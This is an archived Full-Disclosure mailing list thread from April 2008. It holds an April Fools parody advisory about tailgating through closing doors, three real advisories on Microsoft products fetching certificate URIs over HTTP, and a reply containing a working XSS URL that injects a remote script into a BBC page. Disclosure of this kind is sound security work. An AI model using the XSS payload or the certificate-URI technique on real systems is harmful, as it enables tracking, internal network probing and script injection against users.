From druid at caughq.org Tue Apr 1 06:00:22 2008 From: druid at caughq.org (I)ruid) Date: Tue, 01 Apr 2008 00:00:22 -0500 Subject: [Full-disclosure] CAU-2008-0001 - Slowly Closing Door Race Condition Message-ID: <1207026022.3142.287.camel@localhost> ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Security Advisory ===============/======================================================== Advisory ID: CAU-2008-0001 Release Date: 04/01/2008 Title: Slowly Closing Door Race Condition Application/OS: Physical Structures Topic: Physical structures employing exit doors with locks are vulnerable to a race condition. Vendor Status: Not Notified Attributes: Physical, Race Condition Advisory URL: http://www.caughq.org/advisories/CAU-2008-0001.txt Author/Email: CAU ===============/======================================================== Overview ======== Physical structures which employ automatically locking doors to secure exit points expose a race condition which may allow unauthorized entry. Impact ====== Malicious outsiders may be able to enter a structure via an exit point. Exit points may additionally provide an exit from a secure area of the structure, allowing an outsider entering through the exit point to gain direct access to the secure area. Affected Systems ================ Physical structures which employ automatically locking doors at exit points of the structure. Technical Explanation ===================== An exit's lock[1] generally converts a two-way door into a one-way door, allowing a person to traverse the door's threshold in one direction but not in the other. These types of locks are used to secure exit points of structures so that people may exit via the door but not re-enter without disabling the lock through force or authentication. When a person exits the structure through an exit point which is secured by such a mechanism, a race condition exists wherein a malicious outsider may be able to reach the door and enter through it before it closes and locks itself. Many doors, especially heavier ones, also employ closing mechanisms[2] which are designed to cause the door to close slowly so as not to slam the door shut and damage the door frame, or damage any human appendage which may be in between the door and it's frame. Such closing mechanisms can greatly increase the amount of time that the race condition exists. Solution & Recommendations ========================== 1) Always ensure that personnel exiting an exit door wait outside the door until it has completely closed and locked before walking away. 2) Employ a double door system such as is used in an air-lock where the interior door must be secured prior to the exterior door being allowed to open. Exploitation ============ First identify the exit point that you want to exploit. Stand at a safe distance during a high-traffic time and watch for people to use the exit point. Time how long it takes for the door to close and lock itself when someone traverses the exit point. Next, identify a safe hiding place near the exit point, preferably in a direction that would be behind a person exiting the door, but which is within a distance to the exit point which you could traverse in under the door's closing time at a brisk pace or run. Finally, hide in this location during a lower traffic time and wait for someone to utilize the exit point. After they have exited the door and are walking away, run to the door and enter before it has closed and locked. Extra points are awarded for a spectacular dive and/or roll to catch the door at the very last second. References ========== [1] http://en.wikipedia.org/wiki/Lock_%28device%29 [2] http://en.wikipedia.org/wiki/Door_closer Credits & Gr33ts ================ Theodor Geisel, AHA!, NMRC, Uninformed Journal, dc214 -- I)ruid, C?ISSP druid at caughq.org http://druid.caughq.org -------------- next part -------------- A non-text attachment was scrubbed... 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On 4/1/08, I)ruid wrote: > > ____ ____ __ __ > / \ / \ | | | | > ----====####/ /\__\##/ /\ \##| |##| |####====---- > | | | |__| | | | | | > | | ___ | __ | | | | | > ------======######\ \/ /#| |##| |#| |##| |######======------ > \____/ |__| |__| \______/ > > Computer Academic Underground > http://www.caughq.org > Security Advisory > > ===============/======================================================== > Advisory ID: CAU-2008-0001 > Release Date: 04/01/2008 > Title: Slowly Closing Door Race Condition > Application/OS: Physical Structures > Topic: Physical structures employing exit doors with locks > are vulnerable to a race condition. > Vendor Status: Not Notified > Attributes: Physical, Race Condition > Advisory URL: http://www.caughq.org/advisories/CAU-2008-0001.txt > Author/Email: CAU > ===============/======================================================== > > Overview > ======== > > Physical structures which employ automatically locking doors to secure > exit points expose a race condition which may allow unauthorized entry. > > > Impact > ====== > > Malicious outsiders may be able to enter a structure via an exit point. > > Exit points may additionally provide an exit from a secure area of the > structure, allowing an outsider entering through the exit point to gain > direct access to the secure area. > > > Affected Systems > ================ > > Physical structures which employ automatically locking doors at exit > points of the structure. > > > Technical Explanation > ===================== > > An exit's lock[1] generally converts a two-way door into a one-way > door, allowing a person to traverse the door's threshold in one > direction but not in the other. These types of locks are used to > secure exit points of structures so that people may exit via the door > but not re-enter without disabling the lock through force or > authentication. > > When a person exits the structure through an exit point which is > secured by such a mechanism, a race condition exists wherein a > malicious outsider may be able to reach the door and enter through it > before it closes and locks itself. > > Many doors, especially heavier ones, also employ closing mechanisms[2] > which are designed to cause the door to close slowly so as not to slam > the door shut and damage the door frame, or damage any human appendage > which may be in between the door and it's frame. Such closing > mechanisms can greatly increase the amount of time that the race > condition exists. > > > Solution & Recommendations > ========================== > > 1) Always ensure that personnel exiting an exit door wait outside the > door until it has completely closed and locked before walking > away. > > 2) Employ a double door system such as is used in an air-lock where > the interior door must be secured prior to the exterior door being > allowed to open. > > > Exploitation > ============ > > First identify the exit point that you want to exploit. Stand at a > safe distance during a high-traffic time and watch for people to use > the exit point. Time how long it takes for the door to close and > lock itself when someone traverses the exit point. > > Next, identify a safe hiding place near the exit point, preferably > in a direction that would be behind a person exiting the door, but > which is within a distance to the exit point which you could traverse > in under the door's closing time at a brisk pace or run. > > Finally, hide in this location during a lower traffic time and wait > for someone to utilize the exit point. After they have exited the > door and are walking away, run to the door and enter before it has > closed and locked. Extra points are awarded for a spectacular dive > and/or roll to catch the door at the very last second. > > > References > ========== > > [1] http://en.wikipedia.org/wiki/Lock_%28device%29 > [2] http://en.wikipedia.org/wiki/Door_closer > > > Credits & Gr33ts > ================ > > Theodor Geisel, AHA!, NMRC, Uninformed Journal, dc214 > > > -- > I)ruid, C?ISSP > druid at caughq.org > http://druid.caughq.org > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > -------------- next part -------------- An HTML attachment was scrubbed... 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From a.klink at cynops.de Tue Apr 1 10:05:53 2008 From: a.klink at cynops.de (Alexander Klink) Date: Tue, 01 Apr 2008 11:05:53 +0200 Subject: [Full-disclosure] HTTP over X.509 - Microsoft Outlook Message-ID: <47F1FAF1.8020804@cynops.de> ============================================ ||| Security Advisory AKLINK-SA-2008-002 ||| ============================================ HTTP over X.509 (S/MIME) - Microsoft Outlook ============================================ Date released: 01.04.2008 Date reported: 11.01.2008 $Revision: 1.1 $ by Alexander Klink Cynops GmbH a.klink at cynops.de https://www.cynops.de/advisories/AKLINK-SA-2008-002.txt (S/MIME signed: https://www.cynops.de/advisories/AKLINK-SA-2008-002-signed.txt) https://www.klink.name/security/aklink-sa-2008-002-outlook-smime.txt Vendor: Microsoft Product: Outlook Type of vulnerability: design problem Class: remote Status: unpatched Severity: moderate Releases known to be affected: Outlook 2007 (12.0.4518.1014) Releases known NOT to be affected: none +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Background: S/MIME (Secure / Multipurpose Internet Mail Extensions) is a standard for public key encryption and signing of e-mail based on X.509 certificates. X.509 certificates allow a number of extension which specify URIs for additional information regarding the certificate - for example a location where to download the issuer certificate(s). For details see RFC 3851/3850. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Overview: When receiving an S/MIME-signed email, Outlook attempts to use the additional URIs contained in the certificate to download information relevant for the verification of the certificate. It will automatically send out HTTP requests to any location that is reachable from the client - which might include networks previously unreachable to an attacker. Results are unnoticed access to both external or internal webservers, which in turn could be attacked using other vectors and - in the simplest case - a "reading confirmation", which is often undesired by the recipient as well (for example if the sender is a spammer). For an overview of this class of attacks, see the ?HTTP over X.509? whitepaper at https://www.cynops.de/techzone/http_over_x509.html. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Technical details: For an introduction to the technical details, please see the whitepaper. In this particular case, Microsoft Crypto API handles the authorityInfoAccess caIssuers extension. The HTTP requests are sent out as soon as the e-mail is opened in the preview pane. The Microsoft Crypto API accepts up to five CA Issuer URIs in the given certificate which may be up to 8 kibibit each (so there is enough space for a potential attack payload). Contrary to the RFC, it only accepts HTTP URIs. The Crypto API connects to arbitrary TCP ports (both privileged and unprivileged) specified in the HTTP URI. In one test, the attempt to connect to a running machine (more or less regardless whether the particular requested port is open or not) took about 3 seconds and attempting to connect to an unreachable machine took about 10-16 seconds. If this could be confirmed to be always the case (some preliminary tests indicated otherwise), this would allow one to scan for internal hosts via mail (at the great speed of two hosts per opened mail - it is not as fast as PortBunny, granted). In yet undetermined intervals, it also seems to occasionally try to get the CA issuer certificates again, leading to more HTTP requests. Also to be noted is that the certificate validation takes place even if the S/MIME signature itself is invalid - this means than a clever spammer would not even have to burn CPU cycles on creating correct signatures. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Proof of Concept: To receive such an S/MIME-signed email that triggers a HTTP request and to verify that this request reaches an outside server, send a blank email to smime-http at klink.name. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Communication: 11.01.2008, 17:20 UTC: Contacted secure at microsoft.com with information, advisory draft (in an S/MIME-encrypted mail) and an example mail. 11.01.2008, 18:30 and 18:49 UTC: The example mail triggers HTTP requests from 131.107.0.[104|75] with a user agent of "Microsoft-CryptoAPI/5.131.3790.3959". 11.01.2008, 21:54 UTC: Nate from Microsoft replies with case number (7897) and case manager (Geoff). The original mail is fullquoted in this unencrypted reply - why did I bother to install their certificate again? 14.01.2008, 17:33 UTC: The example mail triggers more HTTP requests from 131.107.0.103, this time with a user agent of "Microsoft-CryptoAPI/5.131.2600.2180". 31.01.2008/01.02.2008: The example mail regularly triggers HTTP requests from 207.46.55.29, with user agents of "Microsoft-CryptoAPI/5.131.2600.2180" "Microsoft-CryptoAPI/5.131.2600.3285", "Microsoft-CryptoAPI/5.131.2600.3297", "Microsoft-CryptoAPI/5.131.3790.1830", "Microsoft-CryptoAPI/5.131.3790.3959" and "Microsoft-CryptoAPI/6.0", 01.02.2008, 00:14 UTC: Geoff replies to let me know they are working on it (yes, I can see that :-). Dave and a few additional teams are assisting with the investigation of the issue, no requests for additional information, they will stay in contact within the next few weeks to provide me with an update. The original report is again sent along unencrypted and fullquoted. February/March 2008: The occasional Microsoft HTTP request appears in the webserver logfiles 18.03.2008: Requested update on the issue, informed them that Office 2007 is vulnerable to the same problem as well (as are signed executables, but the signature is not checked automatically) and IPSec does not seem to be vulnerable. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Solution: None so far. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Workarounds: - limit Outlook's ability to do HTTP requests, for example by setting an invalid proxy in the internet options. If possible, filter outgoing HTTP requests with a user-agent matching "Microsoft-CryptoAPI/*" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Why this advisory has no CVE ID: Normally, I make sure every advisory I release has a CVE ID to ensure that the issue can be identified without doubt. In the past, I have been assigned CVE IDs directly and promptly by Steve Christey of MITRE. The communication in this case went like this: 17.01.2008: contacted Steve Christey with the question on how to handle CVEs for a generic issue in an RFC that is vulnerable in a specific implementation. 01.02.2008: contact Steve again to ask for an update 01.02.2008: Steve replies saying that he must have missed the first email and says: | This can be a tough one for CVE, but if it's a fundamental design problem | in a single RFC, and *any* conformant implementation will have the issue, | then it gets a single CVE. 02.02.2008: Updated Steve with details on the vulnerability 07.02.2008: Contacted Steve again for an update 26.02.2008: Contacted Steve again with the explicit wish for CVE IDs for the issues in Outlook, Windows Live Mail and Office 2007 28.02.2008: Contacted Steve again asking for the assignment of the CVE IDs 28.02.2008: Contacted cve at mitre.org as well in case Steve is no longer the correct contact >From what I read on the CVE website, it looks like Microsoft assigns the CVE IDs for their own issues themselves, but they don't talk to me very much either. I like the CVE idea and would like to use CVE IDs whenever possible, but someone would have to answer my mails for that. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Credits: - Alexander Klink, Cynops GmbH (discovery) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Thanks to: - Philipp S?dmeyer for the help in trying out the first attacks -- Dipl.-Math. Alexander Klink | IT-Security Engineer | a.klink at cynops.de mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de ----------------------------+----------------------+--------------------- HRB 7833, Amtsgericht | USt-Id: DE 213094986 | Gesch?ftsf?hrer: Bad Homburg v. d. H?he | | Martin Bartosch -------------- next part -------------- A non-text attachment was scrubbed... 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X.509 certificates allow a number of extension which specify URIs for additional information regarding the certificate - for example a location where to download the issuer certificate(s). For details see RFC 3851/3850. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Overview: When receiving an S/MIME-signed email, Windows Live Mail attempts to use the additional URIs contained in the certificate to download information relevant for the verification of the certificate. It will automatically send out HTTP requests to any location that is reachable from the client - which might include networks previously unreachable to an attacker. Results are unnoticed access to both external or internal webservers, which in turn could be attacked using other vectors and - in the simplest case - a "reading confirmation", which is often undesired by the recipient as well (for example if the sender is a spammer). For an overview of this class of attacks, see the ?HTTP over X.509? whitepaper at https://www.cynops.de/techzone/http_over_x509.html. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Technical details: For an introduction to the technical details, please see the whitepaper. In this particular case, Microsoft Crypto API handles the authorityInfoAccess caIssuers extension. The HTTP requests are sent out as soon as the e-mail is opened in the preview pane. The Microsoft Crypto API accepts up to five CA Issuer URIs in the given certificate which may be up to 8 kibibit each (so there is enough space for a potential attack payload). Contrary to the RFC, it only accepts HTTP URIs. The Crypto API connects to arbitrary TCP ports (both privileged and unprivileged) specified in the HTTP URI. In one test, the attempt to connect to a running machine (more or less regardless whether the particular requested port is open or not) took about 3 seconds and attempting to connect to an unreachable machine took about 10-16 seconds. If this could be confirmed to be always the case (some preliminary tests indicated otherwise), this would allow one to scan for internal hosts via mail (at the great speed of two hosts per opened mail - it is not as fast as PortBunny, granted). In yet undetermined intervals, it also seems to occasionally try to get the CA issuer certificates again, leading to more HTTP requests. Also to be noted is that the certificate validation takes place even if the S/MIME signature itself is invalid - this means than a clever spammer would not even have to burn CPU cycles on creating correct signatures. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Proof of Concept: To receive such an S/MIME-signed email that triggers a HTTP request and to verify that this request reaches an outside server, send a blank email to smime-http at klink.name. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Communication: 11.01.2008, 17:20 UTC: Contacted secure at microsoft.com with information, advisory draft (in an S/MIME-encrypted mail) and an example mail. 11.01.2008, 18:30 and 18:49 UTC: The example mail triggers HTTP requests from 131.107.0.[104|75] with a user agent of "Microsoft-CryptoAPI/5.131.3790.3959". 11.01.2008, 21:54 UTC: Nate from Microsoft replies with case number (7897) and case manager (Geoff). The original mail is fullquoted in this unencrypted reply - why did I bother to install their certificate again? 14.01.2008, 17:33 UTC: The example mail triggers more HTTP requests from 131.107.0.103, this time with a user agent of "Microsoft-CryptoAPI/5.131.2600.2180". 31.01.2008/01.02.2008: The example mail regularly triggers HTTP requests from 207.46.55.29, with user agents of "Microsoft-CryptoAPI/5.131.2600.2180" "Microsoft-CryptoAPI/5.131.2600.3285", "Microsoft-CryptoAPI/5.131.2600.3297", "Microsoft-CryptoAPI/5.131.3790.1830", "Microsoft-CryptoAPI/5.131.3790.3959" and "Microsoft-CryptoAPI/6.0", 01.02.2008, 00:14 UTC: Geoff replies to let me know they are working on it (yes, I can see that :-). Dave and a few additional teams are assisting with the investigation of the issue, no requests for additional information, they will stay in contact within the next few weeks to provide me with an update. The original report is again sent along unencrypted and fullquoted. February/March 2008: The occasional Microsoft HTTP request appears in the webserver logfiles 18.03.2008: Requested update on the issue, informed them that Office 2007 is vulnerable to the same problem as well (as are signed executables, but the signature is not checked automatically) and IPSec does not seem to be vulnerable. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Solution: None so far. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Workarounds: - limit Live Mail's ability to do HTTP requests, for example by setting an invalid proxy in the internet options. If possible, filter outgoing HTTP requests with a user-agent matching "Microsoft-CryptoAPI/*" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Why this advisory has no CVE ID: Normally, I make sure every advisory I release has a CVE ID to ensure that the issue can be identified without doubt. In the past, I have been assigned CVE IDs directly and promptly by Steve Christey of MITRE. The communication in this case went like this: 17.01.2008: contacted Steve Christey with the question on how to handle CVEs for a generic issue in an RFC that is vulnerable in a specific implementation. 01.02.2008: contact Steve again to ask for an update 01.02.2008: Steve replies saying that he must have missed the first email and says: | This can be a tough one for CVE, but if it's a fundamental design problem | in a single RFC, and *any* conformant implementation will have the issue, | then it gets a single CVE. 02.02.2008: Updated Steve with details on the vulnerability 07.02.2008: Contacted Steve again for an update 26.02.2008: Contacted Steve again with the explicit wish for CVE IDs for the issues in Outlook, Windows Live Mail and Office 2007 28.02.2008: Contacted Steve again asking for the assignment of the CVE IDs 28.02.2008: Contacted cve at mitre.org as well in case Steve is no longer the correct contact >From what I read on the CVE website, it looks like Microsoft assigns the CVE IDs for their own issues themselves, but they don't talk to me very much either. I like the CVE idea and would like to use CVE IDs whenever possible, but someone would have to answer my mails for that. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Credits: - Alexander Klink, Cynops GmbH (discovery) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Thanks to: - Philipp S?dmeyer for the help in trying out the first attacks using Outlook -- Dipl.-Math. Alexander Klink | IT-Security Engineer | a.klink at cynops.de mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de ----------------------------+----------------------+--------------------- HRB 7833, Amtsgericht | USt-Id: DE 213094986 | Gesch?ftsf?hrer: Bad Homburg v. d. H?he | | Martin Bartosch -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 5045 bytes Desc: S/MIME Cryptographic Signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/e33dbbdc/attachment.bin From a.klink at cynops.de Tue Apr 1 10:06:13 2008 From: a.klink at cynops.de (Alexander Klink) Date: Tue, 01 Apr 2008 11:06:13 +0200 Subject: [Full-disclosure] HTTP over X.509 - Office 2007 Message-ID: <47F1FB05.2030107@cynops.de> ============================================ ||| Security Advisory AKLINK-SA-2008-004 ||| ============================================ HTTP over X.509 - Microsoft Office 2007 ======================================= Date released: 01.04.2008 Date reported: 18.03.2008 (a similar issue was reported on 11.01.2008) $Revision: 1.1 $ by Alexander Klink Cynops GmbH a.klink at cynops.de https://www.cynops.de/advisories/AKLINK-SA-2008-004.txt (S/MIME signed: https://www.cynops.de/advisories/AKLINK-SA-2008-004-signed.txt) https://www.klink.name/security/aklink-sa-2008-004-office2007-signatures.txt Vendor: Microsoft Product: Office 2007 Type of vulnerability: design problem Class: remote Status: unpatched Severity: moderate Releases known to be affected: 12.0.6212.1000 SP1 MSO (12.0.6213.1000) Releases known NOT to be affected: none +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Background: Microsoft Office 2007 allows a user to sign documents using X.509 certificates. X.509 certificates allow a number of extension which specify URIs for additional information regarding the certificate - for example a location where to download the issuer certificate(s). +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Overview: When opening a document with a digital signature, Office 2007 attempts to use the additional URIs contained in the certificate to download information relevant for the verification of the certificate. It will automatically send out HTTP requests to any location that is reachable from the client - which might include networks previously unreachable to an attacker. Results are unnoticed access to both external or internal webservers, which in turn could be attacked using other vectors and - in the simplest case - an "opening confirmation", which is often undesired by the recipient as well (as it can be used to track who opened which document at what time). For an overview of this class of attacks, see the ?HTTP over X.509? whitepaper at https://www.cynops.de/techzone/http_over_x509.html. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Technical details: For an introduction to the technical details, please see the whitepaper. In this particular case, Microsoft Crypto API handles the authorityInfoAccess caIssuers extension. The HTTP requests are sent out as soon as the document is opened. The Microsoft Crypto API accepts up to five CA Issuer URIs in the given certificate which may be up to 8 kibibit each (so there is enough space for a potential attack payload). Contrary to the RFC, it only accepts HTTP URIs. The Crypto API connects to arbitrary TCP ports (both privileged and unprivileged) specified in the HTTP URI. In one test, the attempt to connect to a running machine (more or less regardless whether the particular requested port is open or not) took about 3 seconds and attempting to connect to an unreachable machine took about 10-16 seconds. If this could be confirmed to be always the case (some preliminary tests indicated otherwise), this would allow one to scan for internal hosts via mail (at the great speed of two hosts per opened mail - it is not as fast as PortBunny, granted). Contrary to the vulnerabilities in Microsoft Outlook and Windows Live Mail, the certificate is only verified if the signature is intact. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Proof of Concept: A signed Word 2007 document that triggers an HTTP request is available at http://www.klink.name/security/HTTP_over_Office_2007_PoC.docx The document contains a link which shows the last 10 HTTP requests triggered by this document. By verifying whether you are on the list, you can verify if you are affected by this vulnerability. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Communication: 18.03.2008: As part of a communication on a similar issue in Outlook and Windows Live Mail, informed them that Office 2007 is vulnerable as well. For details on the earlier communication, see AKLINK-SA-2008-002 or AKLINK-SA-2008-003. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Solution: None so far. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Workarounds: - limit Office's ability to do HTTP requests, for example by setting an invalid proxy in the internet options. If possible, filter outgoing HTTP requests with a user-agent matching "Microsoft-CryptoAPI/*" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Why this advisory has no CVE ID: Normally, I make sure every advisory I release has a CVE ID to ensure that the issue can be identified without doubt. In the past, I have been assigned CVE IDs directly and promptly by Steve Christey of MITRE. The communication in this case went like this: 17.01.2008: contacted Steve Christey with the question on how to handle CVEs for a generic issue in an RFC that is vulnerable in a specific implementation. 01.02.2008: contact Steve again to ask for an update 01.02.2008: Steve replies saying that he must have missed the first email and says: | This can be a tough one for CVE, but if it's a fundamental design problem | in a single RFC, and *any* conformant implementation will have the issue, | then it gets a single CVE. 02.02.2008: Updated Steve with details on the vulnerability 07.02.2008: Contacted Steve again for an update 26.02.2008: Contacted Steve again with the explicit wish for CVE IDs for the issues in Outlook, Windows Live Mail and Office 2007 28.02.2008: Contacted Steve again asking for the assignment of the CVE IDs 28.02.2008: Contacted cve at mitre.org as well in case Steve is no longer the correct contact >From what I read on the CVE website, it looks like Microsoft assigns the CVE IDs for their own issues themselves, but they don't talk to me very much either. I like the CVE idea and would like to use CVE IDs whenever possible, but someone would have to answer my mails for that. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Credits: - Alexander Klink, Cynops GmbH (discovery) -- Dipl.-Math. Alexander Klink | IT-Security Engineer | a.klink at cynops.de mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de ----------------------------+----------------------+--------------------- HRB 7833, Amtsgericht | USt-Id: DE 213094986 | Gesch?ftsf?hrer: Bad Homburg v. d. H?he | | Martin Bartosch -------------- next part -------------- A non-text attachment was scrubbed... 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BR, Valery Marchuk www.SecurityLab.ru From s.u.n at free.Fr Tue Apr 1 11:18:14 2008 From: s.u.n at free.Fr (S/U/N) Date: Tue, 01 Apr 2008 12:18:14 +0200 Subject: [Full-disclosure] UN against Open Source. Linux is a threat? In-Reply-To: <627CE286524A4000B3318FDCF5074725@gw1> References: <627CE286524A4000B3318FDCF5074725@gw1> Message-ID: <47F20BE6.7070604@free.Fr> Nice1st of xss april! http://www.bbc.co.uk/apps/ifl/fivelive/sportsquiz/quizengine?quiz=today&pagerType=pages%3Cscript%20src=http://www.securitylab.ru/test/1april.js%3E%3C/script%3E%3C!--&pagerData=1 Valery Marchuk a ?crit : > BBC reports: Secretary-General Ban Ki-moon made an official statement > supporting Windows Vista and Windows Server 2008. > > "I believe a bug in OS Linux has allowed hackers to access Pentagon network > and steal classified national security information and place blame on China"", > said Ban Ki-moon > > More at > > http://www.securitylab.ru/news/extra/349440.php (English) > > or > > http://www.securitylab.ru/news/349441.php (Russian) > > with links to BBC an un.org. > > > > BR, > > Valery Marchuk > > www.SecurityLab.ru > > > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > > From evilrabbi at gmail.com Tue Apr 1 14:58:13 2008 From: evilrabbi at gmail.com (evilrabbi) Date: Tue, 1 Apr 2008 08:58:13 -0500 Subject: [Full-disclosure] CAU-2008-0001 - Slowly Closing Door Race Condition In-Reply-To: <997ef2c20803312218n65a6321cq215f88e872de41ba@mail.gmail.com> References: <1207026022.3142.287.camel@localhost> <997ef2c20803312218n65a6321cq215f88e872de41ba@mail.gmail.com> Message-ID: Why would you realease something like this without telling the vendor? What you did is irresponsible. On Tue, Apr 1, 2008 at 12:18 AM, Nate McFeters wrote: > Hahaha, nice find. > > On 4/1/08, I)ruid wrote: > > > > ____ ____ __ __ > > / \ / \ | | | | > > ----====####/ /\__\##/ /\ \##| |##| |####====---- > > | | | |__| | | | | | > > | | ___ | __ | | | | | > > ------======######\ \/ /#| |##| |#| |##| |######======------ > > \____/ |__| |__| \______/ > > > > > > Computer Academic Underground > > http://www.caughq.org > > Security Advisory > > > > ===============/======================================================== > > Advisory ID: CAU-2008-0001 > > Release Date: 04/01/2008 > > Title: Slowly Closing Door Race Condition > > Application/OS: Physical Structures > > Topic: Physical structures employing exit doors with locks > > are vulnerable to a race condition. > > Vendor Status: Not Notified > > Attributes: Physical, Race Condition > > Advisory URL: http://www.caughq.org/advisories/CAU-2008-0001.txt > > Author/Email: CAU > > ===============/======================================================== > > > > Overview > > ======== > > > > Physical structures which employ automatically locking doors to secure > > exit points expose a race condition which may allow unauthorized entry. > > > > > > Impact > > ====== > > > > Malicious outsiders may be able to enter a structure via an exit point. > > > > Exit points may additionally provide an exit from a secure area of the > > structure, allowing an outsider entering through the exit point to gain > > direct access to the secure area. > > > > > > Affected Systems > > ================ > > > > Physical structures which employ automatically locking doors at exit > > points of the structure. > > > > > > Technical Explanation > > ===================== > > > > An exit's lock[1] generally converts a two-way door into a one-way > > door, allowing a person to traverse the door's threshold in one > > direction but not in the other. These types of locks are used to > > secure exit points of structures so that people may exit via the door > > but not re-enter without disabling the lock through force or > > authentication. > > > > When a person exits the structure through an exit point which is > > secured by such a mechanism, a race condition exists wherein a > > malicious outsider may be able to reach the door and enter through it > > before it closes and locks itself. > > > > Many doors, especially heavier ones, also employ closing mechanisms[2] > > which are designed to cause the door to close slowly so as not to slam > > the door shut and damage the door frame, or damage any human appendage > > which may be in between the door and it's frame. Such closing > > mechanisms can greatly increase the amount of time that the race > > condition exists. > > > > > > Solution & Recommendations > > ========================== > > > > 1) Always ensure that personnel exiting an exit door wait outside the > > door until it has completely closed and locked before walking > > away. > > > > 2) Employ a double door system such as is used in an air-lock where > > the interior door must be secured prior to the exterior door being > > allowed to open. > > > > > > Exploitation > > ============ > > > > First identify the exit point that you want to exploit. Stand at a > > safe distance during a high-traffic time and watch for people to use > > the exit point. Time how long it takes for the door to close and > > lock itself when someone traverses the exit point. > > > > Next, identify a safe hiding place near the exit point, preferably > > in a direction that would be behind a person exiting the door, but > > which is within a distance to the exit point which you could traverse > > in under the door's closing time at a brisk pace or run. > > > > Finally, hide in this location during a lower traffic time and wait > > for someone to utilize the exit point. After they have exited the > > door and are walking away, run to the door and enter before it has > > closed and locked. Extra points are awarded for a spectacular dive > > and/or roll to catch the door at the very last second. > > > > > > References > > ========== > > > > [1] http://en.wikipedia.org/wiki/Lock_%28device%29 > > [2] http://en.wikipedia.org/wiki/Door_closer > > > > > > Credits & Gr33ts > > ================ > > > > Theodor Geisel, AHA!, NMRC, Uninformed Journal, dc214 > > > > > > -- > > I)ruid, C?ISSP > > druid at caughq.org > > http://druid.caughq.org > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- -- h0 h0 h0 -- www.nopsled.net -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/7c4543a1/attachment.html From razishaban at gmail.com Tue Apr 1 15:22:55 2008 From: razishaban at gmail.com (Razi Shaban) Date: Tue, 1 Apr 2008 18:22:55 +0400 Subject: [Full-disclosure] CAU-2008-0001 - Slowly Closing Door Race Condition In-Reply-To: References: <1207026022.3142.287.camel@localhost> <997ef2c20803312218n65a6321cq215f88e872de41ba@mail.gmail.com> Message-ID: <2d792fb20804010722g686e6b7aq8b9ea4b25cac91c4@mail.gmail.com> April Fools! -- Razi On 4/1/08, evilrabbi wrote: > Why would you realease something like this without telling the vendor? What > you did is irresponsible. > > > > On Tue, Apr 1, 2008 at 12:18 AM, Nate McFeters > wrote: > > > Hahaha, nice find. > > > > > > On 4/1/08, I)ruid wrote: > > > ____ ____ __ __ > > > / \ / \ | | | | > > > ----====####/ /\__\##/ /\ \##| |##| > |####====---- > > > | | | |__| | | | | | > > > | | ___ | __ | | | | | > > > ------======######\ \/ /#| |##| |#| |##| > |######======------ > > > \____/ |__| |__| \______/ > > > > > > > > > > > > > > > Computer Academic Underground > > > http://www.caughq.org > > > Security Advisory > > > > > > > ===============/======================================================== > > > Advisory ID: CAU-2008-0001 > > > Release Date: 04/01/2008 > > > Title: Slowly Closing Door Race Condition > > > Application/OS: Physical Structures > > > Topic: Physical structures employing exit doors with locks > > > are vulnerable to a race condition. > > > Vendor Status: Not Notified > > > Attributes: Physical, Race Condition > > > Advisory URL: > http://www.caughq.org/advisories/CAU-2008-0001.txt > > > Author/Email: CAU > > > > ===============/======================================================== > > > > > > Overview > > > ======== > > > > > > Physical structures which employ automatically locking doors to secure > > > exit points expose a race condition which may allow unauthorized entry. > > > > > > > > > Impact > > > 